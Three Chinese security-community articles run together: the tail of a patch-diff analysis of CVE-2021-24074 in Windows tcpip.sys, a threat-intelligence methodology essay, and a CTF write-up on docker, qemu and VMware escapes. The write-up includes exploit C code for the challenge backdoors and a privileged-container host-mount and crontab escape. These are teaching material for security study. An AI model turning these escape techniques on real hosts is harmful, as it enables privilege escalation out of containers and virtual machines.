netsh int ipv4 set global sourceroutingbehavior=drop
Ipv4 源路由被认为是不安全的，并且在 Windows 中默认为阻止状态；但是，系统将处理该请求并返回拒绝该请求的 ICMP 消息。变通办法将导致系统完全丢弃这些请求，而不进行任何处理。
从这可以初步推断，漏洞应该是出现在IPv4源路由相关的处理函数中。
## 2.补丁对比
接下来开始施展补丁对比大法，对比漏洞修复前后TCP/IP处理模块tcpip.sys，bindiff的分析结果如下图：
从补丁对比的情况，可以看出不同的函数有一些，由于CVE-2021-24074漏洞是IPv4的问题，所以筛选出与IPv4相关的函数，首先筛出改动最大的Ipv4pRessembleDatagram函数，对比其反汇编代码，找出不同如下图：
对比可以看出，出现了这一部分的密集不同：
1月份函数：
memmove(v26 + 5, *(const void **)(a2 + 96), *(unsigned __int16 *)(a2 + 104));
Ipv4pFillPacketChecksum(v15);
*(_DWORD *)(v15 + 92) ^= ((unsigned __int8)IppReassembleEcnField(a2) ^ (unsigned __int8)*(_DWORD *)(v15 + 92)) & 3;
*(_BYTE *)(v16 + 176) |= 8u;
*(_QWORD *)(v16 + 8) = v14;
IppRemoveFromReassemblySet((PKSPIN_LOCK)(v8 + 20304));
for ( i = *(__int64 **)(a2 + 112); i; i = (__int64 *)*i )
NetioExpandNetBuffer(v15, i + 2, *((unsigned int *)i + 14));
2月份函数：
memmove(v28 + 5, *(const void **)(a2 + 96), *(unsigned __int16 *)(a2 + 104));
Ipv4pFillPacketChecksum(v16);
*(_DWORD *)(v16 + 92) ^= (*(_DWORD *)(v16 + 92) ^ IppReassembleEcnField(a2)) & 3;
*(_DWORD *)(v17 + 308) = *(_DWORD *)(a2 + 216);
v18 = *(_BYTE *)(a2 + 220);
*(_BYTE *)(v17 + 176) |= 8u;
*(_BYTE *)(v17 + 304) = v18;
*(_QWORD *)(v17 + 8) = v15;
*(_QWORD *)(v17 + 272) = v28;
if ( *(_QWORD *)(v17 + 240) != v17 + 224 )
*(_QWORD *)(v17 + 240) = v28 + 4;
IppRemoveFromReassemblySet((PKSPIN_LOCK)(v9 + 20304));
for ( i = *(__int64 **)(a2 + 112); i; i = (__int64 *)*i )
NetioExpandNetBuffer(v16, i + 2, *((unsigned int *)i + 14));
可以看出，这是一个数据结构的赋值问题，并且存在一个if判断，这个地方应该是漏洞的关键部分，Ipv4pRessembleDatagram函数是将两个分片数据包进行重组，上述区别的部分是将分片数据通过数据结构链连起来之前的初始化和判断。
目前初步判断漏洞的原因是由于分片重组的时候，正常ipv4协议分片要求所有分片option要一致，但是出漏洞的情况应该是分片的时候option不一致，导致在重组的时候出现问题。漏洞构造的恶意的分片，第一片option是130（安全选项option），第二片option是131（松散路由LSRR
option）或137（严格路由SSRR option）。在重组的时候，是开辟了一段空间，然后里面存储的都是链表一样的东西，通过链表链到真正的数据上。
开辟空间之后，首先存储的是ipv4 header，之后存储ipv4 option，
之后存储data（上述for循环部分）。重组过程中，只进行一次option的分析，于是始终用的是第一个option 130，但是当option
131到来时，还是会处理该option，即源路由option，这会导致在重组链完成之后，调用到IppReceiveHeaderBatch函数，如下图：
该函数中会间接调用Ipv4pReceiveRoutingHeader函数，该函数会查找数据包的下一跳时，它将OOB读取该地址（作为DWORD）并对其进行一些检查。如果这些检查成功，则IP堆栈将通过复制原始数据包，然后在记录路由中写入其自己的IP地址，尝试将数据包路由到其下一跳。因为此写操作依赖于与以前相同的无效指针值，所以这实际上是OOB写操作（超出了新分配的数据包的末尾）。该OOB写入的内容是目标机器的IP地址，表示为DWORD（因此不受攻击者的控制）。
## 3.小结
微软博客中描述该漏洞很复杂，因此很难短期内实现漏洞利用。目前正进一步分析，后续会继续更新该漏洞的更多细节。
## 4.参考文献
1.https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24074
2.https://msrc-blog.microsoft.com/2021/02/09/multiple-security-updates-affecting-tcp-ip/
3.https://tools.ietf.org/html/rfc791 | 社区文章 |
**作者：Toky
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
此篇整理一些关于情报研究的方法论。主要为自情报收集工作的一些思考，后续更新更多关于情报研究的方法论。因为情报学科是一个“古老”的学科，而威胁情报则是前者在当下网络空间里的一个新生产物。研究威胁情报的过程也是需要对情报研究的方法论有一定积淀。
## 情报收集源
以下是一个从分析师的视角出发，对情报收集的分类思路。主要分为文字情报和非文字情报。
图：Analyst’s Functional View of Intelligence Collection[1]
## 情报收集的结构和过程
### 循环的视角
情报的收集通常被描述为一个循环，以下是情报采集的过程视图，主要把情报的采集分成两个部分：“前端”和“后端”：
* 前端：包含需求和任务
* 中间动作：收集
* 后端：开发、加工和传播
图1：Collector’s Process View[1]
如上图所示，情报收集被抽象化为一个标准的循环，但在实际的情报收集过程中，这种循环是很可能不完美的，会有一些“跳跃”的情况。总的来说，上图展示的情报收集过程是个简化的理想版过程。哇··
### 模块化的视角
以下是一个模块化视角的情报收集过程。在这个视图中，不同的威胁集合被当作不同的管道（stovepipes），每个管道都具有图1中的变体，也就是其中的每个威胁集合/模块都有一个单独存在的循环过程。并且每个管道都会产生出不同的情报产品（intelligence
product）。这种视图细颗粒度更高，对分析师更具指导意义。
图2：Analyst’s Process View[1]
### 指向性收集
还有一种思路是对情报源中所需要的部分进行“精品”收集。但通常来说这种指向性收集的成本（人力成本和资源成本）都比较高。并且还需要更多的加工和处理。PS：此处可能有疑惑，如果进行“精品”收集，那么收集到了的不应该是质量较高的吗？这个的话，我的理解是，指向性收集就像奢侈品制造时进行原料选择一样，由于这个产品的
**需求定位** ，就导致了这种“精品”不仅要求更高的原料质量，还需要更加细致的加工，而不是只有好的原料。
如图2所示，金橙色的部分通常为大规模采集，而蓝色的部分部分则是这种指向性收集，要求分析师更加直接地参与。
## 边界问题
### 单源分析
在美国，国家情报收集组织执行所谓的单一来源分析。[1]
简单讲就是什么部门负责什么类型的情报收集和分析，国家安全局（NSA）手机分析通信情报（COMINT）、国家地理空间情报局（NGA）收集处理图像情报（IMINT），开源中心（OSC）收集处理开源情报（OSINT）。对于这些主体来说，除了他们主要负责的情报外，其他的情报都为附属情报。
### 多源分析
>
> 一些国家机构和军事服务单位负责制作所有来源分析。例如，中央情报局（CIA），国防情报局（DIA），国土安全部（DHS）和国务院都有责任在国家层面提供所有来源分析。[1]
通常来说，多源分析的主体，对于国家层面上来说，更可能是国家中心机构和军事单位，而不是具体的职能部门。
### 产生的边界问题
那么，这种单源和多源的区别，会有什么样的影响呢？
* 单源分析师的成果对全源分析师有一定帮助，并且通常来说，后者的工作量更大些
* 竞争分析：该理念主要是围绕着对原材料进行全新的不同观点的理念而构建的。[1] 对于同一组数据，不同的视角会看到不同重要程度的东西
* 多情报融合：有充分理由鼓励而不是劝阻单一来源分析师倾向于进行全源分析[1]
* 单源分析师很难在单一数据源的情况下完成目标需求
### 个人的思考
在该论文中提到的多情报融合和竞争分析概念，可以作为新型情报分析体系建设的一个参考。回到我们的威胁情报来说，这种单源和多源的边界问题还是经常会出现的。比如对黑灰产情报研究的同学，在进行分析时，可能会去看一些漏洞情报，因为这种漏洞情报中的一部分业务逻辑情况，对黑灰产情报发现是有帮助的。那么怎么才能推进这种多情报融合体系建设呢？
个人任务，得从两种角度上来看，首先是目的，其实是结果。
目的上来说，我们得理清楚情报的融合是为了什么，这种目的不能是我觉得这可能有用就去推动，得给出一个具体的技术方向。比如黑灰产情报研究线，我们可以串联：黑产发现情报、业务风控情报、黑产打击情报（响应情报）、漏洞情报（部分）以及第三方的威胁情报支持。在串联之后，就要进行威胁交换，推动多源的情报进行融合和关联。具体怎么做呢？可以参考论文中所说的“竞争分析”概念。在拿到一个黑灰产情报分析的需求后，黑灰产情报研究线上的各个主体，要围绕着原材料进行基于各自领域的，以及尝试全新的、不同的观念的分析。
这种过程之下，可以推动单源向多源获取更多的材料，多源向单源获取更多的想法。从而减少边界问题带来的各种弊端。
## 总结
总的来说，该篇论文介绍了美国情报界的情报收集、处理系统。也提出了一些问题，主要是对边界问题、命名问题。可以看到，美国的这个情报体系的建设，参与的主体还是非常多的，并且体系相对庞大、完善。
学习这种情报体系的建设，在企业的角度上来说，可以从国家层面上情报体系建设的问题获取一些灵感，因为国家也可以说是一个超大型企业。在这篇论文中，我获得一些灵感主要是其提到的多情报融合和竞争分析的概念，这对于威胁情报体系建设，尤其是威胁情报本地化生产和交换的过程具有参考价值。
## References
[1] Perspectives on Intelligence Collection, Robert M. Clark, PhD
* * * | 社区文章 |
## 前言
去年的数字经济共测大赛让我接触到了虚拟机逃逸，当时对此一窍不通最后罚坐了两天，之后一直惦记着之前没做出来的题，一直到今天终于完成了最后一个VMWare逃逸，总算是把所有的坑都给填了。4道题目里浏览器的题目[P1umer师傅-数字经济线下 Realworld Browser writeup](https://xz.aliyun.com/t/6577)和[e3pem师傅-数字经济线下-Browser](https://e3pem.github.io/2019/11/20/browser/%E6%95%B0%E5%AD%97%E7%BB%8F%E6%B5%8E%E7%BA%BF%E4%B8%8B-Browser/)已经给出题解，剩余的三道题从漏洞层面来说非常简单，这里就作为一个基础实践分享给对虚拟机逃逸有兴趣的朋友。
另外逃逸题目的环境都是虚拟机，这里给出docker逃逸和qemu逃逸的附件以及VMware的patch文件及WorkStation的版本[链接](https://github.com/xmzyshypnc/xz_files/tree/master/EscapeAll)
## docker逃逸
### 程序逻辑
题目给了一个虚拟机，内核版本为4.15.0-54-generic，给了一个有漏洞的内核模块de.ko，漏洞主要存在其中，初始化在bss上的hack上分配了一个堆，并用`*(_BYTE
*)(hack1 + 8) = 1;`置1，之后给了cred的size大小。
__int64 __fastcall init_module(__int64 a1, __int64 a2)
{
__int64 v2; // rdi
__int64 hack1; // rax
_fentry__(a1, a2);
v2 = kmalloc_caches[4];
*(¬e + 0x100000000LL) = 0;
hack1 = kmem_cache_alloc_trace(v2, 0x14000C0LL, 10LL);
*(_BYTE *)(hack1 + 8) = 1;
hack = hack1;
proc_create_data("de", 0x1B6LL, 0LL, &de_proc, 0LL);
printk("/proc/de created\n", 0x1B6LL);
printk("size of cred : %ld \n", 0xA8LL);
return 0LL;
}
read函数将`*((_QWORD *)¬e + 1)`的指针的内容拷贝给用户，实际上后面可以看到在这里会分配内存
unsigned __int64 __fastcall de_read(__int64 a1, __int64 user_buf)
{
unsigned __int64 v2; // rdx
unsigned __int64 v3; // r12
unsigned __int64 v4; // rbx
__int64 v5; // r12
_fentry__(a1, user_buf);
v3 = v2;
mutex_lock(&lock);
printk("/proc/de read\n", user_buf);
v4 = (unsigned __int8)note;
if ( (unsigned __int8)note > v3 )
v4 = v3;
v5 = *((_QWORD *)¬e + 1);
_check_object_size(*((_QWORD *)¬e + 1), v4, 1LL);
copy_to_user(user_buf, v5, v4);
mutex_unlock(&lock);
return v4;
}
write函数是我们分析的重点，程序根据我们发送的字符串的第一个字节进行switch case，-1则将用户输入拷贝到 _（
¬e+1），-2则将用户输入拷贝到hack(此时可以覆盖hack+8地址处的值)，不为-3或者_(hack+8)==1会给 _(
¬e+1)处分配一块指定大小的内存，否则(choice==-3且_(hack+8)==0)执行后门代码，弹计算器，如果choice==0则释放*(¬e+1)，因此最后只要满足后门条件即可
__int64 __fastcall de_write(__int64 a1, char *from)
{
char *from_1; // rbx
__int64 size; // rdx
__int64 write_size; // r12
__int64 v5; // rsi
char v6; // al
__int64 chunk_addr; // rax
__int64 v8; // rsi
__int64 v10; // rax
unsigned int v11; // eax
__int64 v12; // r13
__int64 v13; // r13
const char *v14; // [rsp-40h] [rbp-40h]
__int64 v15; // [rsp-38h] [rbp-38h]
unsigned __int64 v16; // [rsp-30h] [rbp-30h]
_fentry__(a1, from);
from_1 = from;
write_size = size;
v16 = __readgsqword(0x28u);
mutex_lock(&lock);
v5 = (unsigned __int8)*from;
printk("order:%d", v5);
v6 = *from_1;
if ( *from_1 )
{
if ( v6 == 0xFFu ) // write note
{
printk("note write\n", v5);
v13 = *((_QWORD *)¬e + 1);
_check_object_size(*((_QWORD *)¬e + 1), write_size - 1, 0LL);// check(dst,count,false)
copy_from_user(v13, from_1 + 1, write_size - 1);
printk("write contents compelete\n", from_1 + 1);
}
else if ( v6 == 0xFEu ) // write hack
{
printk("note write magic %ld\n", write_size);
v12 = hack;
_check_object_size(hack, write_size - 1, 0LL);
copy_from_user(v12, from_1 + 1, write_size - 1);
}
else if ( v6 != 0xFDu || *(_BYTE *)(hack + 8) )
{
printk("note malloc\n", v5);
note = *from_1;
printk("write size compelete\n", v5);
chunk_addr = _kmalloc((unsigned __int8)note, 0x14000C0LL);// kmalloc(size,flags)
v8 = (unsigned __int8)note;
*((_QWORD *)¬e + 1) = chunk_addr;
printk("malloc size compelete:%d @ %p\n", v8);// leak heap addr
}
else
{
v10 = prepare_kernel_cred(0LL); // 0xfd
commit_creds(v10);
v14 = "/usr/bin/gnome-calculator";
v15 = 0LL;
v11 = call_usermodehelper("/usr/bin/gnome-calculator", &v14, envp_26376, 1LL);
printk("RC is: %i \n", v11);
}
}
else
{
printk("note free\n", v5);
kfree(*((_QWORD *)¬e + 1)); // double free
}
mutex_unlock(&lock);
return write_size;
}
### 漏洞利用
先用一次写清空hack+8的值，之后choice=0xfd调用后门弹计算器
### exp.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
int fd = open("/proc/de",2);
char *user_buf = (char*)malloc(0x10*sizeof(char));
user_buf[0] = '\xfe';
write(fd,user_buf,0x10);
user_buf[0] = '\xfd';
write(fd,user_buf,0x1);
return 0;
}
### 调试
进入虚拟机，加载漏洞内核模块，启动docker
sudo insmod /home/b/de.ko
sudo docker run -itd --privileged -p 0.0.0.0:23:22 d77241e92fe6 /bin/bash -c "/etc/init.d/ssh start;/bin/bash"
传输漏洞文件
scp -P23 ./exp* root@localhost
执行exp，成功
调试docker好像没有直接的方法，我这里是在宿主系统里找到内核文件(/boot/vmlinuz-4.15.0-54-generic)，拷贝到我的另一台虚拟机上，使用qemu进行调试。
调试脚本如下：
#! /bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./vmlinuz-4.15.0-54-generic \
-initrd ./initramfs.img \
-append "noexec rdinit=./linuxrc" \
-gdb tcp::1234
想要vmlinux的话可以用github的extract脚本提取，这里用不到，启动qemu之后要先查找各种地址
cat /proc/kallsyms | grep de_write
cat /proc/kallsyms | grep hack
cat /sys/module/de/sections/.text
之后启动gdb，`set arch i386:x86-64:intel`设置模拟的架构，`target remote
localhost:1234`调试内核，`add-symbol-file ./de.ko 0xffffffffc03b0000`添加符号表，
刚才我们查找到的hack地址为0xffffffffc03b2500，我们断点下在de_write，continue，在qemu里执行exp，可以看到已经能从gdb断住了，*(hack+8)为1
我们再continue一下，第一次的覆写完成，成功改为0
在0x118处下个断点(commit_creds)，成功执行到这里，说明exp执行成功
### 非预期解
看到知世师傅[知世](https://nightrainy.github.io/2019/10/31/play-with-docker/)的博客，学到了新的姿势。
docker开启–privileged的情况下其实docker的root跟外部物理机的root权限已经差不多了，我们可以通过mount挂载宿主机的磁盘到内部，进而修改/etc/crontab通过定时任务弹计算器，注意要设置环境变量display=0，注意user要是b(普通用户)，display=0的原因可以参见下文[display=0](https://unix.stackexchange.com/questions/193827/what-is-display-0)，因此只需要在/etc/crontab中加一行
* * * * * b DISPLAY=:0 /usr/bin/gnome-calculator
即可每分钟弹一次计算器
## qemu逃逸
### 程序分析
这题需要一些qemu的基础知识，因为`ray-cp`师傅写的非常详细，传送门：[qemu pwn-基础知识](https://xz.aliyun.com/t/6562)，我就不再赘述了。另外可以先做下[qemu pwn-Blizzard CTF 2017
Strng writeup](https://xz.aliyun.com/t/6618)这道题，很有帮助。
下面一步步开始分析。
看启动方式可以猜到是`rfid`这个指定的设备有问题。
#! /bin/sh
./qemu-system-x86_64 \
-initrd ./initramfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-monitor /dev/null \
-m 64M --nographic \
-L pc-bios \
-device rfid,id=vda \
首先没有符号表，我们搜下`rfid`的字符串,根据之前的分析可以知道入口函数`rfid_class_init`里会有字符串`rfid_class_init`，所以根据引用可以找到`rfid_class_init`，里面那一堆是各种`id`，这个不必要再做区分，等会qemu里直接看设备基本就能对应上(或者找一个有符号表的qemu题按照偏移对照一下)
__int64 __fastcall rfid_class_init(__int64 a1)
{
__int64 result; // rax
result = sub_70031D(a1, "pci-device", "/home/wang/qemu/hw/misc/myrfid.c", 0x171LL, "rfid_class_init");
*(_QWORD *)(result + 176) = pci_rfid_realize;
*(_QWORD *)(result + 184) = 0LL;
*(_WORD *)(result + 208) = 0x420;
*(_WORD *)(result + 210) = 0x1337;
*(_BYTE *)(result + 212) = 0x69;
*(_WORD *)(result + 214) = 0xFF;
return result;
}
在class_init里，一定要给个`realize`函数，所以这里唯一一个函数指针可以推断出是`pci_rfid_realize`
unsigned __int64 __fastcall pci_rfid_realize(__int64 pdev, __int64 errp)
{
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
sub_570742(*(_QWORD *)(pdev + 120), 1LL);
if ( !(unsigned int)sub_5C950D(pdev, 0LL, 1LL, 1LL, 0LL, errp) )
{
sub_570635(pdev + 2688, 1LL, sub_570A2E, pdev);
sub_843CE1(pdev + 2520);
sub_843FBD(pdev + 2576);
sub_8449B4(pdev + 2512, "rfid", what, pdev, 0LL);
sub_31B892(pdev + 2272, pdev, rfid_mmio_ops, pdev, "rfid-mmio", &off_1000000);
sub_5C1EF2((_QWORD *)pdev, 0, 0, pdev + 2272);
}
return __readfsqword(0x28u) ^ v3;
}
这时候再找个以前做过的qemu题，看看里面函数的参数，可以发现`sub_31B892`这个函数有6个参数且有字符串`rfid-mmio`，这就很显然这个函数是`memory_region_init_io`，而里面的第三个参数就是`rfid_mmio_ops`了。点进去看下，第一个函数指针是`rfid_mmio_read`，第二个是`rfid_mmio_write`。如此一来就找到了关键的`read/write`函数。
.data.rel.ro:0000000000FE9720 rfid_mmio_ops dq offset rfid_mmio_read
.data.rel.ro:0000000000FE9720 ; DATA XREF: pci_rfid_realize+111↑o
.data.rel.ro:0000000000FE9728 dq offset rfid_mmio_write
先看`rfid_mmio_read`，第二个参数为我们输入的地址，判断`((addr >> 20) & 0xF) !=
15`，后面比较两个字符串，后者为`wwssadadBABA`，前者根据引用发现赋值来自`rfid_mmio_write`，比较成功之后执行`command`，看引用也来自`rfid_mmio_write`，下面分析write函数。
signed __int64 __fastcall rfid_mmio_read(__int64 a1, unsigned __int64 addr)
{
size_t v2; // rax
if ( ((addr >> 20) & 0xF) != 15 )
{
v2 = strlen(off_10CC100);
if ( !memcmp(input, off_10CC100, v2) )
system(command);
}
return 270438LL;
}
`rfid_mmio_write`函数的逻辑实际上就是个小菜单，`(addr >> 20) & 0xF`作为`result`。
如果`result`为`[0,5]`，就给`input[idx]`赋不同的固定值，`idx`为`(addr >> 16) &
0xF`;如果`result`为`6`，就往`command`里拷贝数据，`src`为`&n[4]`，而在程序开始我们`*(_QWORD *)&n[4] =
value;`将value赋值给了它，因此这里的`memcpy`实际上等同于`command[(unsigned __int16)arg11] =
value`。
_BYTE *__fastcall rfid_mmio_write(__int64 a1, unsigned __int64 addr, __int64 value, unsigned int size)
{
_BYTE *result; // rax
char n[12]; // [rsp+4h] [rbp-3Ch]
unsigned __int64 arg11; // [rsp+10h] [rbp-30h]
__int64 v7; // [rsp+18h] [rbp-28h]
int v8; // [rsp+2Ch] [rbp-14h]
int idx; // [rsp+30h] [rbp-10h]
int v10; // [rsp+34h] [rbp-Ch]
__int64 v11; // [rsp+38h] [rbp-8h]
v7 = a1;
arg11 = addr;
*(_QWORD *)&n[4] = value;
v11 = a1;
v8 = (addr >> 20) & 0xF;
idx = (addr >> 16) & 0xF;
result = (_BYTE *)((addr >> 20) & 0xF);
switch ( (unsigned __int64)result )
{
case 0uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 'w';
}
break;
case 1uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 's';
}
break;
case 2uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 'a';
}
break;
case 3uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 'd';
}
break;
case 4uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 'A';
}
break;
case 5uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 'B';
}
break;
case 6uLL:
v10 = (unsigned __int16)arg11;
result = memcpy(&command[(unsigned __int16)arg11], &n[4], size);
break;
default:
return result;
}
return result;
}
综上所述，我们那两轮`rfid_mmio_write`设置`input`为`wwssadadBABA`，设置`command`为`gnome-calculator`，最后调用`rfid_mmio_read`触发`system("gnome-calculator")`，弹出计算器
### exp.c
#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint64_t choice,uint64_t idx,uint64_t chr)
{
uint64_t addr = ((choice & 0xf) << 20);
uint64_t value = 0;
addr += ((idx & 0xf) << 16);
printf("the addr is 0x%lx\n",addr);
if(choice == 6){
//write command
value = chr;
addr = idx;
addr += (((choice & 0xf)) << 20);
}
*((uint64_t *)(mmio_mem+addr)) = value;
}
uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t*)(mmio_mem+addr));
}
int main()
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
//write command
mmio_write(6,0,0x67);
mmio_write(6,1,0x6e);
mmio_write(6,2,0x6f);
mmio_write(6,3,0x6d);
mmio_write(6,4,0x65);
mmio_write(6,5,0x2d);
mmio_write(6,6,0x63);
mmio_write(6,7,0x61);
mmio_write(6,8,0x6c);
mmio_write(6,9,0x63);
mmio_write(6,10,0x75);
mmio_write(6,11,0x6c);
mmio_write(6,12,0x61);
mmio_write(6,13,0x74);
mmio_write(6,14,0x6f);
mmio_write(6,15,0x72);
//write to input
//wwssadadBABA
mmio_write(0,0,0);
mmio_write(0,1,0);
mmio_write(1,2,0);
mmio_write(1,3,0);
mmio_write(2,4,0);
mmio_write(3,5,0);
mmio_write(2,6,0);
mmio_write(3,7,0);
mmio_write(5,8,0);
mmio_write(4,9,0);
mmio_write(5,10,0);
mmio_write(4,11,0);
//
mmio_read((1 << 20));
return 0;
}
## VMWare Workstation逃逸
### 前言
这题是卡了我最久的，因为网上的资料实在太少，直接搜的话会找到RealWorld
CTF、Pwn2Own以及前一段时间的hxp的长亭师傅的分享，但是这些对于新手来说太难上手了，需要过硬的逆向水平以及对VMWare的了解。直到前几天机缘巧合看到了一篇分享`2018
RealWorld CTF VMWare Sation Escape的文章`: [Pwning VMWare, Part 1: RWCTF 2018
Station-Escape](https://nafod.net/blog/2019/12/21/station-escape-vmware-pwn.html)，我这个小菜鸡终于找到了题目的切入点，最终完成逃逸。
### 基础知识
这题是参照2018年`RealWolrd CTF VMWare
Station逃逸`改的，且只是留了一个后门，比原题简单的多，这里用到的知识和之后的exp编写都是参考长亭科技发在知乎的专栏[Real World CTF
2018 Finals Station-Escape
Writeup](https://zhuanlan.zhihu.com/p/52140921)，这里只简单介绍一下用到的知识，细节可以去原文看。
常用虚拟机的朋友肯定知道虚拟机(guest)一定是能和宿主机(host)通信的，文件复制、文件拖放，文字复制这些都用需要用到二者的通信，这些工作在VMWare中由vmtools帮助完成，其中使用了一种叫做`backdoor`的接口。
观察`Backdoor`函数调用的代码，[backdoor文档](https://sites.google.com/site/chitchatvmback/backdoor)
>
> 首先需要明确的是，该接口在用户态就可以使用。在通常环境下，IN指令是一条特权指令，在普通用户态程序下是无法使用的。因此，运行这条指令会让用户态程序出错并陷出到hypervisor层，从而hypervisor层可以对客户机进行相关的操作和处理，因此利用此机制完成了通信。利用backdoor的通信机制，客户机便可以使用RPC进行一系列的操作，例如拖放、复制、获取信息、发送信息等等。
/* in Intel syntax (MASM and most Windows based assemblers) */
MOV EAX, 564D5868h /* magic number */
MOV EBX, command-specific-parameter
MOV CX, backdoor-command-number
MOV DX, 5658h /* VMware I/O Port */
IN EAX, DX (or OUT DX, EAX)
/* in AT&T syntax (gnu as and many unix based assemblers) */
movl $0x564D5868, %eax; /* magic number */
movl command-specific-parameter, %ebx;
movw backdoor-command-number, %cx;
movw $0x5658, %dx; /* VMware I/O port */
inl %dx, %eax; (or outl %eax, %dx)
在另一篇文章[VMWare GuestRPC
mechanism](http://sysprogs.com/legacy/articles/kdvmware/guestrpc.shtml)中我们可以看到一个简单的使用demo:
#define BDOOR_MAGIC 0x564D5868
#define BDOOR_PORT 0x5658
#define BDOOR_CMD_GETMHZ 1
#define BDOOR_CMD_GETDISKGEO 3
#define BDOOR_CMD_GETPTRLOCATION 4
#define BDOOR_CMD_SETPTRLOCATION 5
//Continued in backdoor_def.h
Let's now make a simple program querying the current mouse cursor location using VMWare backdoor interface:
#include <stdio.h>
unsigned __declspec(naked) GetMousePos()
{
__asm
{
mov eax, 564D5868h
mov ecx, 4
mov edx, 5658h
in eax, dx
ret
}
}
void main()
{
unsigned mousepos = GetMousePos();
printf("Mouse cursor pos: x=%d,y=%d\n", mousepos >> 16, mousepos & 0xFFFF);
}
> If this program is executed on a real machine, the in instruction will cause
> a "privileged instruction" exception, as user-mode code runs in Ring 3.
> However, when this program is executed on the virtual machine, it will print
> the correct mouse cursor position.
上述的代码在物理机中运行会出错，因为涉及到了特权指令，但是在虚拟机中运行可以获取到鼠标游标位置。
除了Backdoor，VMWare提供了一种更加灵活的接口，叫做`GuestRPC`，一次RPC请求包含了以下的请求序列：
1. Open a GuestRPC channel
2. Send command length
3. Send command data
4. Receive reply size
5. Receive reply data
6. Signalize end-of-receive
7. Close channel
前面的数字对应了调用它们的RPC子命令号，在`open-vm-tool`中有实现上述调用过程，对应的函数如下：
//https://github.com/drothlis/open-vm-tools/blob/master/lib/rpcOut/rpcout.c
RpcOut *RpcOut_Construct(void);
void RpcOut_Destruct(RpcOut *out);
Bool RpcOut_start(RpcOut *out);
Bool RpcOut_send(RpcOut *out, char const *request, size_t reqLen,
char const **reply, size_t *repLen);
Bool RpcOut_stop(RpcOut *out);
除了现成的函数，长亭的师傅自己也实现了一套通信中需要的函数，在知乎那篇文章中有详细的`参数寄存器设置/返回值含义/调用方式`，限于篇幅不再赘述。
总之，我们现在有了一套guest同host通信的机制。
### 漏洞分析
#### 静态分析
原题给了`vmware.ovf、vmware-disk1.vmdk、vmware.mf、vmware-vmx.patched、VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle和ubuntu-18.04.3-desktop-amd64.iso镜像文件`。前面三个文件是用来搭建本地环境的，vmdk是磁盘文件，通过ovf文件可以导入vmdk从而起一个题目的环境。`.bundle`文件可以看成是linux下的安装包，`.patch`文件是patch之后的`vmware-vmx`文件，这个文件是实际执行`.vmx`的二进制文件。
/usr/lib/vmware/bin/vmware-vmx -s vmx.stdio.keep=TRUE -# product=1;name=VMware Workstation;version=15.5.0;buildnumber=14665864;licensename=VMware Workstation;licenseversion=15.0+; -@ duplex=3;msgs=ui /home/wz/vmware/Ubuntu/Ubuntu.vmx
因为是patch文件，我们只要比较和原文件不同即可，这里首先使用`.bundle`文件在宿主机`ubuntu 18.04`安装上`VMWareWordk
Station Pro 15.5`，找到`/usr/lib/vmware/bin/vmware-vmx`，拖出来，拿`BinDiff`定位patch点，这个工具我是参考[bindiff基本使用以及小试牛刀
](https://bbs.pediy.com/thread-246326.htm)安装使用的，我的IDA版本是7.1，需要安装一个`6.8`的IDA，下载`4.3`的bindiff方可在IDA使用这个插件。
安装成功之后用IDA打开原vmx，保存idb数据库之后退出。再用IDA打开patch后的vmx，ctrl+6调出bindiff插件选择之前的idb进行比较，之后`Save
Results`生成`.BinDiff`文件，再到bindiff里打开`bindiff.jar`，导入这个文件查看详细信息。
可以看到只有一个函数`0x16E220`是`0.99`的相似，其余全部`1`，点进去之后定位到具体的不同点。
发现有块区域被大片nop掉，且换成了调用`system`函数的指令，这里很明显是个后门，可以拿来执行命令。
继续回到IDA查看这个漏洞函数，发现其中有关于`channel`的字符串`GuestMsg: Channel %u, Not enough memory
to receive a message`，加上函数开头的switch case判断number的范围为`0-6`，很容易联想到这就是`GuestRPC
Handler`，一个RPC指令处理函数，下面代码只包含了漏洞所在的部分，可以看到这个路径是当`subcommand=0x4`，也就是`Receive
reply data`的处理部分，因为本人逆向水平有限，已经大差不差到漏洞触发条件，就从动态调试入手如何到达这个路径。
case 4:
v40 = sub_16DE80(6LL, 7LL);
v5 = (unsigned int *)v40;
if ( !v40 )
goto LABEL_62;
if ( *(_DWORD *)v40 != 3 )
goto LABEL_20;
if ( *(_BYTE *)(v40 + 8) == 1 )
goto LABEL_48;
if ( !*(_QWORD *)(v40 + 0x38) )
goto LABEL_90;
if ( !(sub_5463D0(v40, 3) & 1) )
{
v7 = (__int64)v5;
goto LABEL_81;
}
v25 = 0x20000LL;
sub_546480(2LL, 0x20000LL);
v41 = v5[0xC];
v42 = (unsigned __int16 *)(*((_QWORD *)v5 + 7) + v5[11] - v41);
if ( (_DWORD)v41 == 2 )
{
v25 = *v42;
v26 = (const char *)3;
sub_546480(3LL, v25);
